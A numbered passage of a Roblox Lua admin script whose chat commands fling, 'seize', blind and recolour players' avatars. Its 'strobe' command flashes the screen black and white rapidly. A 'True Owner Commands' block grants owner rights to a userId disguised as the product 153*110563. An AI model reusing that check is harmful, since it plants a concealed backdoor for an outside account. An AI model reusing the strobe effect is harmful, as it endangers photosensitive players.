  1686. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1687. end
  1688.  
  1689. if msg:lower():sub(1,5) == "spin " then
  1690. local plrz = GetPlr(plr, msg:lower():sub(6))
  1691. for i, v in pairs(plrz) do
  1692. coroutine.resume(coroutine.create(function()
  1693. if v and v.Character and v.Character:findFirstChild("Torso") then
  1694. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1695. local torso = v.Character:findFirstChild("Torso")
  1696. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1697. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1698. until not bg or bg.Parent ~= torso
  1699. end
  1700. end))
  1701. end
  1702. end
  1703.  
  1704. if msg:lower():sub(1,7) == "unspin " then
  1705. local plrz = GetPlr(plr, msg:lower():sub(8))
  1706. for i, v in pairs(plrz) do
  1707. coroutine.resume(coroutine.create(function()
  1708. if v and v.Character and v.Character:findFirstChild("Torso") then
  1709. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1710. end
  1711. end))
  1712. end
  1713. end
  1714.  
  1715. if msg:lower():sub(1,4) == "dog " then
  1716. local plrz = GetPlr(plr, msg:lower():sub(5))
  1717. for i, v in pairs(plrz) do
  1718. coroutine.resume(coroutine.create(function()
  1719. if v and v.Character and v.Character:findFirstChild("Torso") then
  1720. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1721. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1722. v.Character.Torso.Transparency = 1
  1723. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1724. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1725. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1726. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1727. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1728. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1729. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1730. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1731. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1732. end
  1733. end))
  1734. end
  1735. end
  1736.  
  1737. if msg:lower():sub(1,6) == "undog " then
  1738. local plrz = GetPlr(plr, msg:lower():sub(7))
  1739. for i, v in pairs(plrz) do
  1740. coroutine.resume(coroutine.create(function()
  1741. if v and v.Character and v.Character:findFirstChild("Torso") then
  1742. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1743. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1744. v.Character.Torso.Transparency = 0
  1745. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1746. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1747. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1748. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1749. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1750. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1751. end
  1752. end))
  1753. end
  1754. end
  1755.  
  1756. if msg:lower():sub(1,8) == "creeper " then
  1757. local plrz = GetPlr(plr, msg:lower():sub(9))
  1758. for i, v in pairs(plrz) do
  1759. coroutine.resume(coroutine.create(function()
  1760. if v and v.Character and v.Character:findFirstChild("Torso") then
  1761. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1762. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1763. v.Character.Torso.Transparency = 0
  1764. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1765. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1766. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1767. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1768. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1769. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1770. end
  1771. end))
  1772. end
  1773. end
  1774.  
  1775. if msg:lower():sub(1,10) == "uncreeper " then
  1776. local plrz = GetPlr(plr, msg:lower():sub(11))
  1777. for i, v in pairs(plrz) do
  1778. coroutine.resume(coroutine.create(function()
  1779. if v and v.Character and v.Character:findFirstChild("Torso") then
  1780. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1781. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1782. v.Character.Torso.Transparency = 0
  1783. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1784. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1785. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1786. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1787. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1788. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1789. end
  1790. end))
  1791. end
  1792. end
  1793.  
  1794. if msg:lower():sub(1,8) == "bighead " then
  1795. local plrz = GetPlr(plr, msg:lower():sub(9))
  1796. for i, v in pairs(plrz) do
  1797. coroutine.resume(coroutine.create(function()
  1798. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1799. end))
  1800. end
  1801. end
  1802.  
  1803. if msg:lower():sub(1,9) == "minihead " then
  1804. local plrz = GetPlr(plr, msg:lower():sub(10))
  1805. for i, v in pairs(plrz) do
  1806. coroutine.resume(coroutine.create(function()
  1807. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1808. end))
  1809. end
  1810. end
  1811.  
  1812. if msg:lower():sub(1,6) == "fling " then
  1813. local plrz = GetPlr(plr, msg:lower():sub(7))
  1814. for i, v in pairs(plrz) do
  1815. coroutine.resume(coroutine.create(function()
  1816. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1817. local xran local zran
  1818. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1819. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1820. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1821. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1822. end
  1823. end))
  1824. end
  1825. end
  1826.  
  1827. if msg:lower():sub(1,8) == "seizure " then
  1828. local plrz = GetPlr(plr, msg:lower():sub(9))
  1829. for i, v in pairs(plrz) do
  1830. coroutine.resume(coroutine.create(function()
  1831. if v and v.Character then
  1832. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1833. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1834. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1835. end
  1836. end))
  1837. end
  1838. end
  1839.  
  1840. if msg:lower():sub(1,10) == "unseizure " then
  1841. local plrz = GetPlr(plr, msg:lower():sub(11))
  1842. for i, v in pairs(plrz) do
  1843. coroutine.resume(coroutine.create(function()
  1844. if v and v.Character then
  1845. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1846. wait(.1) v.Character.Humanoid.PlatformStand = false
  1847. end
  1848. end))
  1849. end
  1850. end
  1851.  
  1852. if msg:lower():sub(1,12) == "removelimbs " then
  1853. local plrz = GetPlr(plr, msg:lower():sub(13))
  1854. for i, v in pairs(plrz) do
  1855. coroutine.resume(coroutine.create(function()
  1856. if v and v.Character then
  1857. for a, obj in pairs(v.Character:children()) do
  1858. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1859. end
  1860. end
  1861. end))
  1862. end
  1863. end
  1864.  
  1865. if msg:lower():sub(1,5) == "name " then
  1866. local chk1 = msg:lower():sub(6):find(" ") + 5
  1867. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1868. for i, v in pairs(plrz) do
  1869. coroutine.resume(coroutine.create(function()
  1870. if v and v.Character and v.Character:findFirstChild("Head") then
  1871. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1872. local char = v.Character
  1873. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1874. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1875. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1876. char.Head.Transparency = 1
  1877. end
  1878. end))
  1879. end
  1880. end
  1881.  
  1882. if msg:lower():sub(1,7) == "unname " then
  1883. local plrz = GetPlr(plr, msg:lower():sub(8))
  1884. for i, v in pairs(plrz) do
  1885. coroutine.resume(coroutine.create(function()
  1886. if v and v.Character and v.Character:findFirstChild("Head") then
  1887. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1888. end
  1889. end))
  1890. end
  1891. end
  1892.  
  1893. if msg:lower():sub(1,5) == "char " then
  1894. local chk1 = msg:lower():sub(6):find(" ") + 5
  1895. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1896. for i, v in pairs(plrz) do
  1897. coroutine.resume(coroutine.create(function()
  1898. if v and v.Character then
  1899. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1900. v:LoadCharacter()
  1901. end
  1902. end))
  1903. end
  1904. end
  1905.  
  1906. if msg:lower():sub(1,7) == "unchar " then
  1907. local plrz = GetPlr(plr, msg:lower():sub(8))
  1908. for i, v in pairs(plrz) do
  1909. coroutine.resume(coroutine.create(function()
  1910. if v and v.Character then
  1911. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1912. v:LoadCharacter()
  1913. end
  1914. end))
  1915. end
  1916. end
  1917.  
  1918. if msg:lower():sub(1,7) == "infect " then
  1919. local plrz = GetPlr(plr, msg:lower():sub(8))
  1920. for i, v in pairs(plrz) do
  1921. coroutine.resume(coroutine.create(function()
  1922. if v and v.Character then
  1923. Infect(v.Character)
  1924. end
  1925. end))
  1926. end
  1927. end
  1928.  
  1929. if msg:lower():sub(1,11) == "rainbowify " then
  1930. local plrz = GetPlr(plr, msg:lower():sub(12))
  1931. for i, v in pairs(plrz) do
  1932. coroutine.resume(coroutine.create(function()
  1933. if v and v.Character and v.Character:findFirstChild("Torso") then
  1934. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1935. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1936. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1937. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1938. cl.Parent = v.Character cl.Disabled = false
  1939. end
  1940. end))
  1941. end
  1942. end
  1943.  
  1944. if msg:lower():sub(1,9) == "flashify " then
  1945. local plrz = GetPlr(plr, msg:lower():sub(10))
  1946. for i, v in pairs(plrz) do
  1947. coroutine.resume(coroutine.create(function()
  1948. if v and v.Character and v.Character:findFirstChild("Torso") then
  1949. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1950. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1951. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1952. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1953. cl.Parent = v.Character cl.Disabled = false
  1954. end
  1955. end))
  1956. end
  1957. end
  1958.  
  1959. if msg:lower():sub(1,8) == "noobify " then
  1960. local plrz = GetPlr(plr, msg:lower():sub(9))
  1961. for i, v in pairs(plrz) do
  1962. coroutine.resume(coroutine.create(function()
  1963. if v and v.Character then
  1964. Noobify(v.Character)
  1965. end
  1966. end))
  1967. end
  1968. end
  1969.  
  1970. if msg:lower():sub(1,9) == "ghostify " then
  1971. local plrz = GetPlr(plr, msg:lower():sub(10))
  1972. for i, v in pairs(plrz) do
  1973. coroutine.resume(coroutine.create(function()
  1974. if v and v.Character and v.Character:findFirstChild("Torso") then
  1975. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1976. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1977. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1978. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1979. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1980. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1981. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1982. end end
  1983. end
  1984. end))
  1985. end
  1986. end
  1987.  
  1988. if msg:lower():sub(1,8) == "goldify " then
  1989. local plrz = GetPlr(plr, msg:lower():sub(9))
  1990. for i, v in pairs(plrz) do
  1991. coroutine.resume(coroutine.create(function()
  1992. if v and v.Character and v.Character:findFirstChild("Torso") then
  1993. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1994. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1995. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1996. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1997. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1998. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1999. end end
  2000. end
  2001. end))
  2002. end
  2003. end
  2004.  
  2005. if msg:lower():sub(1,6) == "shiny " then
  2006. local plrz = GetPlr(plr, msg:lower():sub(7))
  2007. for i, v in pairs(plrz) do
  2008. coroutine.resume(coroutine.create(function()
  2009. if v and v.Character and v.Character:findFirstChild("Torso") then
  2010. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2011. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2012. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2013. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2014. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2015. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2016. end end
  2017. end
  2018. end))
  2019. end
  2020. end
  2021.  
  2022. if msg:lower():sub(1,7) == "normal " then
  2023. local plrz = GetPlr(plr, msg:lower():sub(8))
  2024. for i, v in pairs(plrz) do
  2025. coroutine.resume(coroutine.create(function()
  2026. if v and v.Character and v.Character:findFirstChild("Torso") then
  2027. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2028. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2029. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2030. v.Character.Torso.Transparency = 0
  2031. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2032. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2033. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2034. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2035. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2036. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2037. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2038. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2039. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2040. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2041. end end
  2042. end
  2043. end))
  2044. end
  2045. end
  2046.  
  2047. if msg:lower():sub(1,7) == "trippy " then
  2048. local plrz = GetPlr(plr, msg:lower():sub(8))
  2049. for i, v in pairs(plrz) do
  2050. coroutine.resume(coroutine.create(function()
  2051. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2052. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2053. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2054. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2055. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2056. end
  2057. end))
  2058. end
  2059. end
  2060.  
  2061. if msg:lower():sub(1,9) == "untrippy " then
  2062. local plrz = GetPlr(plr, msg:lower():sub(10))
  2063. for i, v in pairs(plrz) do
  2064. coroutine.resume(coroutine.create(function()
  2065. if v and v:findFirstChild("PlayerGui") then
  2066. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2067. end
  2068. end))
  2069. end
  2070. end
  2071.  
  2072. if msg:lower():sub(1,7) == "strobe " then
  2073. local plrz = GetPlr(plr, msg:lower():sub(8))
  2074. for i, v in pairs(plrz) do
  2075. coroutine.resume(coroutine.create(function()
  2076. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2077. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2078. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2079. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2080. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2081. end
  2082. end))
  2083. end
  2084. end
  2085.  
  2086. if msg:lower():sub(1,9) == "unstrobe " then
  2087. local plrz = GetPlr(plr, msg:lower():sub(10))
  2088. for i, v in pairs(plrz) do
  2089. coroutine.resume(coroutine.create(function()
  2090. if v and v:findFirstChild("PlayerGui") then
  2091. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2092. end
  2093. end))
  2094. end
  2095. end
  2096.  
  2097. if msg:lower():sub(1,6) == "blind " then
  2098. local plrz = GetPlr(plr, msg:lower():sub(7))
  2099. for i, v in pairs(plrz) do
  2100. coroutine.resume(coroutine.create(function()
  2101. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2102. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2103. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2104. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2105. end
  2106. end))
  2107. end
  2108. end
  2109.  
  2110. if msg:lower():sub(1,8) == "unblind " then
  2111. local plrz = GetPlr(plr, msg:lower():sub(9))
  2112. for i, v in pairs(plrz) do
  2113. coroutine.resume(coroutine.create(function()
  2114. if v and v:findFirstChild("PlayerGui") then
  2115. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2116. end
  2117. end))
  2118. end
  2119. end
  2120.  
  2121. if msg:lower():sub(1,7) == "guifix " then
  2122. local plrz = GetPlr(plr, msg:lower():sub(8))
  2123. for i, v in pairs(plrz) do
  2124. coroutine.resume(coroutine.create(function()
  2125. if v and v:findFirstChild("PlayerGui") then
  2126. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2127. end
  2128. end))
  2129. end
  2130. end
  2131.  
  2132. if msg:lower():sub(1,9) == "loopheal " then
  2133. local plrz = GetPlr(plr, msg:lower():sub(10))
  2134. for i, v in pairs(plrz) do
  2135. if v then
  2136. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2137. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2138. repeat wait()
  2139. coroutine.resume(coroutine.create(function()
  2140. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2141. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2142. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2143. end
  2144. end))
  2145. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2146. end
  2147. end
  2148. end
  2149.  
  2150. if msg:lower():sub(1,11) == "unloopheal " then
  2151. local plrz = GetPlr(plr, msg:lower():sub(12))
  2152. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2153. end
  2154.  
  2155. if msg:lower():sub(1,10) == "loopfling " then
  2156. local plrz = GetPlr(plr, msg:lower():sub(11))
  2157. for i, v in pairs(plrz) do
  2158. if v then
  2159. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2160. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2161. repeat
  2162. coroutine.resume(coroutine.create(function()
  2163. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2164. local xran local zran
  2165. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2166. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2167. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2168. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2169. end
  2170. end))
  2171. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2172. end
  2173. end
  2174. end
  2175.  
  2176. if msg:lower():sub(1,12) == "unloopfling " then
  2177. local plrz = GetPlr(plr, msg:lower():sub(13))
  2178. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2179. end
  2180.  
  2181. end
  2182.  
  2183. -------------------------
  2184. -- True Owner Commands --
  2185. -------------------------
  2186.  
  2187. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2188.  
  2189. if msg:lower():sub(1,3) == "oa " then
  2190. local plrz = GetPlr(plr, msg:lower():sub(4))
  2191. for i, v in pairs(plrz) do
  2192. coroutine.resume(coroutine.create(function()
  2193. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2194. end))
  2195. end
  2196. end
  2197.  
  2198. if msg:lower():sub(1,5) == "unoa " then
  2199. for i = 1, #owners do
  2200. coroutine.resume(coroutine.create(function()
  2201. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2202. end))
  2203. end
  2204. end
  2205.  
  2206. if msg:lower() == "settings" then
  2207. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  2208. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  2209. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
